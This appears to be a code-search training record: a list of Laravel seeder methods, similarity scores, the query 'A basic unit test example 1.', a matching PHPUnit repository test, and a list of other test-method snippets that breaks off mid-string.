Tag::all()->each(function ($tag) use ($bundles) {\n $tag->bundles()->attach(\n $bundles->random(2)->pluck('id')->toArray()\n );\n });\n }", "public function run()\n {\n // Let's truncate our existing records to start from scratch.\n Contract::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 50; $i++) {\n Contract::create([\n 'serialnumbers' => $faker->numberBetween($min = 1000000, $max = 2000000),\n 'address' => $faker->address,\n 'landholder' => $faker->lastName,\n 'renter' => $faker->lastName,\n 'price' => $faker->numberBetween($min = 10000, $max = 50000),\n 'rent_start' => $faker->date($format = 'Y-m-d', $max = 'now'),\n 'rent_end' => $faker->date($format = 'Y-m-d', $max = 'now'),\n ]);\n }\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n $faker=Faker\\Factory::create();\n\n for($i=0;$i<100;$i++){\n \tApp\\Blog::create([\n \t\t'title' => $faker->catchPhrase,\n 'description' => $faker->text,\n 'showns' =>true\n \t\t]);\n }\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n DB::statement('SET FOREIGN_KEY_CHECKS = 0'); // TO PREVENT CHECKS FOR foreien key in seeding\n\n User::truncate();\n Category::truncate();\n Product::truncate();\n Transaction::truncate();\n\n DB::table('category_product')->truncate();\n\n User::flushEventListeners();\n Category::flushEventListeners();\n Product::flushEventListeners();\n Transaction::flushEventListeners();\n\n $usersQuantities = 1000;\n $categoriesQuantities = 30;\n $productsQuantities = 1000;\n $transactionsQuantities = 1000;\n\n factory(User::class, $usersQuantities)->create();\n factory(Category::class, $categoriesQuantities)->create();\n\n factory(Product::class, $productsQuantities)->create()->each(\n function ($product) {\n $categories = Category::all()->random(mt_rand(1, 5))->pluck('id');\n $product->categories()->attach($categories);\n });\n\n factory(Transaction::class, $transactionsQuantities)->create();\n }", "public function run()\n {\n // $this->call(UserSeeder::class);\n $this->call(PermissionsTableSeeder::class);\n $this->call(UsersTableSeeder::class);\n\n $this->call(BusinessTableSeeder::class);\n $this->call(PrinterTableSeeder::class);\n factory(App\\Tag::class,10)->create();\n factory(App\\Category::class,10)->create();\n factory(App\\Subcategory::class,50)->create();\n factory(App\\Provider::class,10)->create();\n factory(App\\Product::class,24)->create()->each(function($product){\n\n $product->images()->saveMany(factory(App\\Image::class, 4)->make());\n\n });\n\n\n factory(App\\Client::class,10)->create();\n }", "public function run()\n {\n Article::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 50; $i++) {\n Article::create([\n 'name' => $faker->sentence,\n 'sku' => $faker->paragraph,\n 'price' => $faker->number,\n ]);\n }\n }", "public function run()\n {\n Storage::deleteDirectory('public/products');\n Storage::makeDirectory('public/products');\n\n $this->call(UserSeeder::class);\n Category::factory(4)->create();\n $this->call(ProductSeeder::class);\n Order::factory(4)->create();\n Order_Detail::factory(4)->create();\n Size::factory(100)->create();\n }", "public function run()\n {\n $this->call(RolSeeder::class);\n\n $this->call(UserSeeder::class);\n Category::factory(4)->create();\n Doctor::factory(25)->create();\n Patient::factory(50)->create();\n Status::factory(3)->create();\n Appointment::factory(100)->create();\n }", "public function run()\n\t{\n\t\t\n\t\tDB::statement('SET FOREIGN_KEY_CHECKS = 0');\n\n\t\t$faker = \\Faker\\Factory::create();\n\n\t\tTodolist::truncate();\n\n\t\tforeach(range(1, 50) as $index)\n\t\t{\n\n\t\t\t$user = User::create([\n\t\t\t\t'name' => $faker->name,\n\t\t\t\t'email' => $faker->email,\n\t\t\t\t'password' => 'password',\n\t\t\t\t'confirmation_code' => mt_rand(0, 9),\n\t\t\t\t'confirmation' => rand(0,1) == 1\n\t\t\t]);\n\n\t\t\t$list = Todolist::create([\n\t\t\t\t'name' => $faker->sentence(2),\n\t\t\t\t'description' => $faker->sentence(4),\n\t\t\t]);\n\n\t\t\t// BUILD SOME TASKS FOR EACH LIST ITEM\n\t\t\tforeach(range(1, 10) as $index) \n\t\t\t{\n\t\t\t\t$task = new Task;\n\t\t\t\t$task->name = $faker->sentence(2);\n\t\t\t\t$task->description = $faker->sentence(4);\n\t\t\t\t$list->tasks()->save($task);\n\t\t\t}\n\n\t\t}\n\n\t\tDB::statement('SET FOREIGN_KEY_CHECKS = 1'); \n\n\t}", "public function run()\n {\n Campus::truncate();\n Canteen::truncate();\n Dorm::truncate();\n\n $faker = Faker\\Factory::create();\n $schools = School::all();\n foreach ($schools as $school) {\n \tforeach (range(1, 2) as $index) {\n\t \t$campus = Campus::create([\n\t \t\t'school_id' => $school->id,\n\t \t\t'name' => $faker->word . '校区',\n\t \t\t]);\n\n \t$campus->canteens()->saveMany(factory(Canteen::class, mt_rand(2,3))->make());\n $campus->dorms()->saveMany(factory(Dorm::class, mt_rand(2,3))->make());\n\n }\n }\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n DB::table('users')->insert([\n 'name' => 'admin',\n 'email' => '[email protected]',\n 'password' => bcrypt('admin'),\n 'seq_q'=>'1',\n 'seq_a'=>'admin'\n ]);\n\n // DB::table('bloods')->insert([\n // ['name' => 'A+'],\n // ['name' => 'A-'],\n // ['name' => 'B+'],\n // ['name' => 'B-'],\n // ['name' => 'AB+'],\n // ['name' => 'AB-'],\n // ['name' => 'O+'],\n // ['name' => 'O-'],\n // ]);\n\n \n }", "public function run()\n {\n // $this->call(UserTableSeeder::class);\n \\App\\User::create([\n 'name'=>'PAPE SAMBA NDOUR',\n 'email'=>'[email protected]',\n 'password'=>bcrypt('Admin1122'),\n ]);\n\n $faker = Faker::create();\n\n for ($i = 0; $i < 100 ; $i++)\n {\n $firstName = $faker->firstName;\n $lastName = $faker->lastName;\n $niveau = \\App\\Niveau::inRandomOrder()->first();\n \\App\\Etudiant::create([\n 'prenom'=>$firstName,\n 'nom'=>$lastName,\n 'niveau_id'=>$niveau->id\n ]);\n }\n\n\n }", "public function run()\n {\n //\n DB::table('foods')->delete();\n\n Foods::create(array(\n 'name' => 'Chicken Wing',\n 'author' => 'Bambang',\n 'overview' => 'a deep-fried chicken wing, not in spicy sauce'\n ));\n\n Foods::create(array(\n 'name' => 'Beef ribs',\n 'author' => 'Frank',\n 'overview' => 'Slow baked beef ribs rubbed in spices'\n ));\n\n Foods::create(array(\n 'name' => 'Ice cream',\n 'author' => 'Lou',\n 'overview' => ' A sweetened frozen food typically eaten as a snack or dessert.'\n ));\n\n }", "public function run()\n {\n // Let's truncate our existing records to start from scratch.\n News::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 10; $i++) {\n News::create([\n 'title' => $faker->sentence,\n 'summary' => $faker->sentence,\n 'content' => $faker->paragraph,\n 'imagePath' => '/img/exclamation_mark.png'\n ]);\n }\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(App\\User::class, 3)->create();\n factory(App\\Models\\Category::class, 3)\n ->create()\n ->each(function ($u) {\n $u->courses()->saveMany(factory(App\\Models\\Course::class,3)->make())->each(function ($c){\n $c->exams()->saveMany(factory(\\App\\Models\\Exam::class,3)->make())->each(function ($e){\n $e->questions()->saveMany(factory(\\App\\Models\\Question::class,4)->make())->each(function ($q){\n $q->answers()->saveMany(factory(\\App\\Models\\Answer::class,4)->make())->each(function ($a){\n $a->correctAnswer()->save(factory(\\App\\Models\\Correct_answer::class)->make());\n });\n });\n });\n });\n\n });\n\n }", "public function run()\n {\n \\DB::table('employees')->delete();\n\n $faker = \\Faker\\Factory::create('ja_JP');\n\n $role_id = ['1','2','3'];\n\n for ($i = 0; $i < 10; $i++) {\n \\App\\Models\\Employee::create([\n 'last_name' =>$faker->lastName() ,\n 'first_name' => $faker->firstName(),\n 'mail' => $faker->email(),\n 'password' => Hash::make( \"password.$i\"),\n 'birthday' => $faker->date($format='Y-m-d',$max='now'),\n 'role_id' => $faker->randomElement($role_id)\n ]);\n }\n }", "public function run()\n {\n\n DB::table('clients')->delete();\n DB::table('trips')->delete();\n error_log('empty tables done.');\n\n $random_cities = City::inRandomOrder()->select('ar_name')->limit(5)->get();\n $GLOBALS[\"random_cities\"] = $random_cities->pluck('ar_name')->toArray();\n\n $random_airlines = Airline::inRandomOrder()->select('code')->limit(5)->get();\n $GLOBALS[\"random_airlines\"] = $random_airlines->pluck('code')->toArray();\n\n factory(App\\Client::class, 5)->create();\n error_log('Client seed done.');\n\n\n factory(App\\Trip::class, 50)->create();\n error_log('Trip seed done.');\n\n\n factory(App\\Quicksearch::class, 10)->create();\n error_log('Quicksearch seed done.');\n }", "public function run()\n {\n // Admins\n User::factory()->create([\n 'name' => 'Zaiman Noris',\n 'username' => 'rognales',\n 'email' => '[email protected]',\n 'active' => true,\n ]);\n\n User::factory()->create([\n 'name' => 'Affiq Rashid',\n 'username' => 'affiqr',\n 'email' => '[email protected]',\n 'active' => true,\n ]);\n\n // Only seed test data in non-prod\n if (! app()->isProduction()) {\n Member::factory()->count(1000)->create();\n Staff::factory()->count(1000)->create();\n\n Participant::factory()\n ->addSpouse()\n ->addChildren()\n ->addInfant()\n ->addOthers()\n ->count(500)\n ->hasUploads(2)\n ->create();\n }\n }", "public function run()\n {\n $this->call([\n RoleSeeder::class,\n UserSeeder::class,\n ]);\n\n \\App\\Models\\Category::factory(4)->create();\n \\App\\Models\\View::factory(6)->create();\n \\App\\Models\\Room::factory(8)->create();\n \n $rooms = \\App\\Models\\Room::all();\n // \\App\\Models\\User::all()->each(function ($user) use ($rooms) { \n // $user->rooms()->attach(\n // $rooms->random(rand(1, \\App\\Models\\Room::max('id')))->pluck('id')->toArray()\n // ); \n // });\n }", "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n Employee::factory()->create(['email' => '[email protected]']);\n Brand::factory()->count(3)->create();\n $this->call([\n TagSeeder::class,\n AttributeSeeder::class,\n AttributeValueSeeder::class,\n ProductSeeder::class,\n ]);\n }", "public function run()\n {\n $this->call(RolesTableSeeder::class); // crée les rôles\n $this->call(PermissionsTableSeeder::class); // crée les permissions\n\n factory(Employee::class,3)->create();\n factory(Provider::class,1)->create();\n\n $user = User::create([\n 'name'=>'Alioune Bada Ndoye',\n 'email'=>'[email protected]',\n 'phone'=>'773012470',\n 'password'=>bcrypt('123'),\n ]);\n Employee::create([\n 'job'=>'Informaticien',\n 'user_id'=>User::where('email','[email protected]')->first()->id,\n 'point_id'=>Point::find(1)->id,\n ]);\n $user->assignRole('admin');\n }", "public function run()\n {\n // $this->call(UserSeeder::class);\n factory(User::class, 1)\n \t->create(['email' => '[email protected]']);\n\n factory(Category::class, 5)->create();\n }", "public function run()\n {\n //$this->call(UsersTableSeeder::class);\n $this->call(rootSeed::class);\n factory(App\\Models\\Egresado::class,'hombre',15)->create();\n factory(App\\Models\\Egresado::class,'mujer',15)->create();\n factory(App\\Models\\Administrador::class,5)->create();\n factory(App\\Models\\Notificacion::class,'post',10)->create();\n factory(App\\Models\\Notificacion::class,'mensaje',5)->create();\n factory(App\\Models\\Egresado::class,'bajaM',5)->create();\n factory(App\\Models\\Egresado::class,'bajaF',5)->create();\n factory(App\\Models\\Egresado::class,'suscritam',5)->create();\n factory(App\\Models\\Egresado::class,'suscritaf',5)->create();\n }", "public function run()\n {\n \n User::factory(1)->create([\n 'rol'=>'EPS'\n ]);\n Person::factory(10)->create();\n $this->call(EPSSeeder::class);\n $this->call(OfficialSeeder::class);\n $this->call(VVCSeeder::class);\n $this->call(VaccineSeeder::class);\n }", "public function run()\n {\n // $faker=Faker::create();\n // foreach(range(1,100) as $index)\n // {\n // DB::table('products')->insert([\n // 'name' => $faker->name,\n // 'price' => rand(10,100000)/100\n // ]);\n // }\n }", "public function run()\n {\n $this->call([\n LanguagesTableSeeder::class,\n ListingAvailabilitiesTableSeeder::class,\n ListingTypesTableSeeder::class,\n RoomTypesTableSeeder::class,\n AmenitiesTableSeeder::class,\n UsersTableSeeder::class,\n UserLanguagesTableSeeder::class,\n ListingsTableSeeder::class,\n WishlistsTableSeeder::class,\n StaysTableSeeder::class,\n GuestsTableSeeder::class,\n TripsTableSeeder::class,\n ReviewsTableSeeder::class,\n RatingsTableSeeder::class,\n PopularDestinationsTableSeeder::class,\n ImagesTableSeeder::class,\n ]);\n\n // factory(App\\User::class, 5)->states('host')->create();\n // factory(App\\User::class, 10)->states('hostee')->create();\n\n // factory(App\\User::class, 10)->create();\n // factory(App\\Models\\Listing::class, 30)->create();\n }", "public function run()\n {\n Schema::disableForeignKeyConstraints();\n Grade::truncate();\n Schema::enableForeignKeyConstraints();\n\n $faker = \\Faker\\Factory::create();\n\n for ($i = 0; $i < 10; $i++) {\n Grade::create([\n 'letter' => $faker->randomElement(['а', 'б', 'в']),\n 'school_id' => $faker->unique()->numberBetween(1, School::count()),\n 'level' => 1\n ]);\n }\n }", "public function run()\n {\n // $this->call(UserSeeder::class);\n factory(App\\User::class,5)->create();//5 User created\n factory(App\\Model\\Genre::class,5)->create();//5 genres\n factory(App\\Model\\Film::class,6)->create();//6 films\n factory(App\\Model\\Comment::class, 20)->create();// 20 comments\n }", "public function run()\n {\n\n $this->call(UserSeeder::class);\n factory(Empresa::class,10)->create();\n factory(Empleado::class,50)->create();\n }", "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n User::create([\n 'name' => 'jose luis',\n 'email' => '[email protected]',\n 'password' => bcrypt('xxxxxx'),\n 'role' => 'admin',\n ]);\n\n Category::create([\n 'name' => 'inpods',\n 'description' => 'auriculares inalambricos que funcionan con blouthue genial'\n ]);\n\n Category::create([\n 'name' => 'other',\n 'description' => 'otra cosa diferente a un inpods'\n ]);\n\n\n /* Create 10 products */\n Product::factory(10)->create();\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(User::class)->create([\n 'email' => '[email protected]',\n 'name' => 'Russell'\n ]);\n\n factory(User::class)->create([\n 'email' => '[email protected]',\n 'name' => 'Bitfumes'\n ]);\n\n factory(User::class)->create([\n 'email' => '[email protected]',\n 'name' => 'Paul'\n ]);\n }", "public function run()\n {\n $user_ids = [1,2,3];\n $faker = app(\\Faker\\Generator::class);\n $posts = factory(\\App\\Post::class)->times(50)->make()->each(function($post) use ($user_ids,$faker){\n $post->user_id = $faker->randomElement($user_ids);\n });\n \\App\\Post::insert($posts->toArray());\n }", "public function run()\n {\n // Vaciar la tabla.\n Favorite::truncate();\n $faker = \\Faker\\Factory::create();\n // Crear artículos ficticios en la tabla\n\n // factory(App\\Models\\User::class, 2)->create()->each(function ($user) {\n // $user->users()->saveMany(factory(App\\Models\\User::class, 25)->make());\n //});\n }", "public function run()\n\t{\n\t\t$this->call(ProductsTableSeeder::class);\n\t\t$this->call(CategoriesTableSeeder::class);\n\t\t$this->call(BrandsTableSeeder::class);\n\t\t$this->call(ColorsTableSeeder::class);\n\n\t\t$products = \\App\\Product::all();\n \t$categories = \\App\\Category::all();\n \t$brands = \\App\\Brand::all();\n \t$colors = \\App\\Color::all();\n\n\t\tforeach ($products as $product) {\n\t\t\t$product->colors()->sync($colors->random(3));\n\n\t\t\t$product->category()->associate($categories->random(1)->first());\n\t\t\t$product->brand()->associate($brands->random(1)->first());\n\n\t\t\t$product->save();\n\t\t}\n\n\t\t// for ($i = 0; $i < count($products); $i++) {\n\t\t// \t$cat = $categories[rand(0,5)];\n\t\t// \t$bra = $brands[rand(0,7)];\n\t\t// \t$cat->products()->save($products[$i]);\n\t\t// \t$bra->products()->save($products[$i]);\n\t\t// }\n\n\t\t// $products = factory(App\\Product::class)->times(20)->create();\n\t\t// $categories = factory(App\\Category::class)->times(6)->create();\n\t\t// $brands = factory(App\\Brand::class)->times(8)->create();\n\t\t// $colors = factory(App\\Color::class)->times(15)->create();\n\t}", "public function run()\n {\n /*$this->call(UsersTableSeeder::class);\n $this->call(GroupsTableSeeder::class);\n $this->call(TopicsTableSeeder::class);\n $this->call(CommentsTableSeeder::class);*/\n DB::table('users')->insert([\n 'name' => 'pkw',\n 'email' => '[email protected]',\n 'password' => bcrypt('secret'),\n 'type' => '1'\n ]);\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n $faker = Faker::create();\n foreach (range(1,200) as $index) {\n DB::table('users')->insert([\n 'name' => $faker->name,\n 'email' => $faker->email,\n 'phone' => $faker->randomDigitNotNull,\n 'address'=> $faker->streetAddress,\n 'password' => bcrypt('secret'),\n ]);\n }\n }", "public function run()\n {\n $this->call(UsersSeeder::class);\n User::factory(2)->create();\n Company::factory(2)->create();\n\n }", "public function run()\n {\n echo PHP_EOL , 'seeding roles...';\n\n Role::create(\n [\n 'name' => 'Admin',\n 'deletable' => false,\n ]\n );\n Role::create(\n [\n 'name' => 'Principal',\n 'deletable' => false,\n ]\n );\n Role::create(\n [\n 'name' => 'Teacher',\n 'deletable' => false,\n ]\n );\n\n Role::create(\n [\n 'name' => 'Student',\n 'deletable' => false,\n ]\n );\n Role::create(\n [\n 'name' => 'Parents',\n 'deletable' => false,\n ]\n );\n Role::create(\n [\n 'name' => 'Accountant',\n 'deletable' => false,\n ]\n );\n Role::create(\n [\n 'name' => 'Librarian',\n 'deletable' => false,\n ]\n );\n Role::create(\n [\n 'name' => 'Receptionist',\n 'deletable' => false,\n ]\n );\n\n\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n // $this->call(QuestionTableSeed::class);\n\n $this->call([\n QuestionTableSeed::class,\n AlternativeTableSeed::class,\n ScheduleActionTableSeeder::class,\n UserTableSeeder::class,\n CompanyClassificationTableSeed::class,\n ]);\n // DB::table('clients')->insert([\n // 'name' => 'Empresa-02',\n // 'email' => '[email protected]',\n // 'password' => bcrypt('07.052.477/0001-60'),\n // ]);\n }", "public function run()\n {\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 5; $i++) {\n Runner::create([\n 'external_id' => $faker->uuid,\n 'name' => $faker->name,\n 'race_id' =>rand(1,5),\n 'age' => rand(30, 45),\n 'sex' => $faker->randomElement(['male', 'female']),\n 'color' => $faker->randomElement(['#ecbcb4', '#d1a3a4']),\n ]);\n }\n }", "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n\n User::factory()->create([\n 'name' => 'Carlos',\n 'email' => '[email protected]',\n 'email_verified_at' => now(),\n 'password' => bcrypt('123456'), // password\n 'remember_token' => Str::random(10),\n ]);\n \n $this->call([PostsTableSeeder::class]);\n $this->call([TagTableSeeder::class]);\n\n }", "public function run()\n {\n $this->call(AlumnoSeeder::class);\n //Alumnos::factory()->count(30)->create();\n //DB::table('alumnos')->insert([\n // 'dni_al' => '13189079',\n // 'nom_al' => 'Jose',\n // 'ape_al' => 'Araujo',\n // 'rep_al' => 'Principal',\n // 'esp_al' => 'Tecnologia',\n // 'lnac_al' => 'Valencia'\n //]);\n }", "public function run()\n {\n Eloquent::unguard();\n\n DB::statement('SET FOREIGN_KEY_CHECKS=0;');\n\n // $this->call([\n // CountriesTableSeeder::class,\n // ]);\n\n factory(App\\User::class, 100)->create();\n factory(App\\Type::class, 10)->create();\n factory(App\\Item::class, 100)->create();\n factory(App\\Order::class, 1000)->create();\n\n $items = App\\Item::all();\n\n App\\Order::all()->each(function($order) use ($items) {\n\n $n = rand(1, 10);\n\n $order->items()->attach(\n $items->random($n)->pluck('id')->toArray()\n , ['quantity' => $n]);\n\n $order->total = $order->items->sum(function($item) {\n return $item->price * $item->pivot->quantity;\n });\n\n $order->save();\n\n });\n\n DB::statement('SET FOREIGN_KEY_CHECKS=1;');\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n factory(User::class)->create(\n [\n 'email'=>'[email protected]',\n 'name'=>'izzanni',\n \n ]\n );\n factory(User::class)->create(\n [\n 'email'=>'[email protected]',\n 'name'=>'aina',\n\n ]\n );\n factory(User::class)->create(\n [\n 'email'=>'[email protected]',\n 'name'=>'sab',\n\n ]\n );\n }", "public function run()\n {\n\n factory('App\\Models\\Pessoa', 60)->create();\n factory('App\\Models\\Profissional', 10)->create();\n factory('App\\Models\\Paciente', 50)->create();\n $this->call(UsersTableSeeder::class);\n $this->call(ProcedimentoTableSeeder::class);\n // $this->call(PessoaTableSeeder::class);\n // $this->call(ProfissionalTableSeeder::class);\n // $this->call(PacienteTableSeeder::class);\n // $this->call(AgendaProfissionalTableSeeder::class);\n }", "public function run()\n {\n //Acá se define lo que el seeder va a hacer.\n //insert() para insertar datos.\n //Array asociativo. La llave es el nombre de la columna.\n// DB::table('users')->insert([\n// //Para un solo usuario.\n// 'name' => 'Pedrito Perez',\n// 'email' => '[email protected]',\n// 'password' => bcrypt('123456')\n// ]);//Se indica el nombre de la tabla.\n\n //Crea 50 usuarios (sin probar)\n// factory(App\\User::class, 50)->create()->each(function($u) {\n// $u->posts()->save(factory(App\\Post::class)->make());\n// });\n\n factory(App\\User::class, 10)->create(); //Así se ejecuta el model factory creado en ModelFactory.php\n\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n //nhập liệu mẫu cho bảng users\n DB::table('users')->insert([\n \t['id'=>'1001', 'name'=>'Phan Thị Hiền', 'email'=>'[email protected]', 'password'=>'123456', 'isadmin'=>1],\n \t['id'=>'1002', 'name'=>'Phan Thị Hà', 'email'=>'[email protected]', 'password'=>'111111', 'isadmin'=>0]\n ]);\n\n\n //nhập liệu mẫu cho bảng suppliers\n DB::table('suppliers')->insert([\n \t['name'=>'FPT', 'address'=>'151 Hùng Vương, TP. Đà Nẵng', 'phonenum'=>'0971455395'],\n \t['name'=>'Điện Máy Xanh', 'address'=>'169 Phan Châu Trinh, TP. Đà Nẵng', 'phonenum'=>'0379456011']\n ]);\n\n\n //Bảng phiếu bảo hành\n }", "public function run()\n {\n \t// DB::table('categories')->truncate();\n // factory(App\\Models\\Category::class, 10)->create();\n Schema::disableForeignKeyConstraints();\n Category::truncate();\n $faker = Faker\\Factory::create();\n\n $categories = ['SAMSUNG','NOKIA','APPLE','BLACK BERRY'];\n foreach ($categories as $key => $value) {\n Category::create([\n 'name'=>$value,\n 'description'=> 'This is '.$value,\n 'markup'=> rand(10,100),\n 'category_id'=> null,\n 'UUID' => $faker->uuid,\n ]);\n }\n }" ]
[ "0.8013876", "0.79804534", "0.7976992", "0.79542726", "0.79511505", "0.7949612", "0.794459", "0.7942486", "0.7938189", "0.79368967", "0.79337025", "0.78924936", "0.78811055", "0.78790957", "0.78787595", "0.787547", "0.7871811", "0.78701615", "0.7851422", "0.7850352", "0.7841468", "0.7834583", "0.7827792", "0.7819104", "0.78088796", "0.7802872", "0.7802348", "0.78006834", "0.77989215", "0.7795819", "0.77903426", "0.77884805", "0.77862066", "0.7778816", "0.7777486", "0.7765202", "0.7762492", "0.77623445", "0.77621746", "0.7761383", "0.77606887", "0.77596676", "0.7757001", "0.7753607", "0.7749522", "0.7749292", "0.77466977", "0.7729947", "0.77289546", "0.772796", "0.77167094", "0.7714503", "0.77140456", "0.77132195", "0.771243", "0.77122366", "0.7711113", "0.77109736", "0.7710777", "0.7710086", "0.7705484", "0.770464", "0.7704354", "0.7704061", "0.77027386", "0.77020216", "0.77008796", "0.7698617", "0.76985973", "0.76973504", "0.7696405", "0.7694293", "0.7692694", "0.7691264", "0.7690576", "0.76882726", "0.7687433", "0.7686844", "0.7686498", "0.7685065", "0.7683827", "0.7679184", "0.7678287", "0.76776296", "0.76767945", "0.76726556", "0.76708084", "0.76690495", "0.766872", "0.76686716", "0.7666299", "0.76625943", "0.7662227", "0.76613766", "0.7659881", "0.7656644", "0.76539344", "0.76535016", "0.7652375", "0.7652313", "0.7652022" ]
0.0
-1
A basic unit test example 1.
public function testExample1() { // Gọi hàm tạo $document = $this->DocumentRepository->create($this->document); // Kiểm tra xem kết quả trả về có là thể hiện của lớp document hay không $this->assertInstanceOf(Document::class, $document); // Kiểm tra data trả về $this->assertEquals($this->document['title'], $document->title); $this->assertEquals($this->document['content'], $document->content); $this->assertEquals($this->document['slug'], $document->slug); $this->assertEquals($this->document['subject_id'], $document->subject_id); // Kiểm tra dữ liệu có tồn tại trong cơ sở dữ liệu hay không $this->assertDatabaseHas('documents', $this->document); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function testExample()\n {\n }", "public function testBasicExample()\n {\n $this->assertEquals(1, 1);\n }", "function test_sample() {\n\n\t\t$this->assertTrue( true );\n\n\t}", "public function testBasicExample()\n {\n $this->assertTrue(true);\n }", "function testSample() {\n\t\t$this->assertTrue( true );\n\t}", "public function testBasicTest()\n {\n\n }", "public function testExample()\n\t{\n\t\t$this->assertTrue(true);\n\t}", "function test_sample() {\n\t\t$this->assertTrue( true );\n\t}", "public function testExample()\n {\n dump(\"testExample\");\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n \n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "function test_sampleme() {\n\t\t// Replace this with some actual testing code.\n\t\t$this->assertTrue( true );\n\t}", "public function testBasic()\n {\n $this->assertEquals(1, 1);\n }", "public function testMain()\n {\n echo \"\\n >----------- Test Main : ---------> \\n\";\n// $this->getRandomNumber();\n// $this->getLoggedUserMail();\n// $this->saveVerificationCode();\n// $this->verification();\n// $this->checkEmailVerification();\n// $this->checkSendCode();\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n $this->assertTrue(true);\n }", "public function test_example()\n {\n $this->assertTrue(true);\n }", "public function test_example()\n {\n $this->assertTrue(true);\n }", "public function test_example()\n {\n $this->assertTrue(true);\n }", "public function test_example()\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n // lets make it risky to destroy the green\n }", "public function testGetPatrimonio()\n {\n }", "public function testGetChamado()\n {\n }", "public function testExample(): void\n {\n $this->assertTrue(true);\n }", "public function testExample()\n {\n //this test is empty as we have not yet decided if we want to use dusk\n\n // $this->get('/')\n // ->click('About')\n // ->seePageIs('/about');\n }", "public function testExample()\n {\n $this->visit('ticket')\n ->see('Listado de Tickets')\n ->seeLink('Ver Ticket') \n ->visit('ticket/1')\n ->see('Quod et autem sed')\n ->seeLink('Ver todos los tickets')\n ->click('Ver todos los tickets')\n ->see('Listado de Tickets')\n ->seeLink('Agregar un ticket', 'ticket/crear');\n }", "public function testBasics() {\n\t\t$model = new AElasticRecord;\n\t\t$model->id = 123;\n\t\t$model->name = \"test item\";\n\t\t$this->assertEquals(123, $model->id);\n\t\t$this->assertEquals(\"test item\",$model->name);\n\t}", "public function test() {\n \t\n\t\tprint_r('hello stef');\n \t\n }", "public function testGetExpedicao()\n {\n }", "public function testGetExpert()\n {\n }", "public function testExample()\n {\n\n \n $this->assertTrue(true);\n \n return true;\n }", "public function test() {\n\n\t}", "public function testExample()\n {\n $this->assertTrue(True);\n $arr=[];\n $this->assertEmpty($arr);\n $msg=\"Hello\";\n 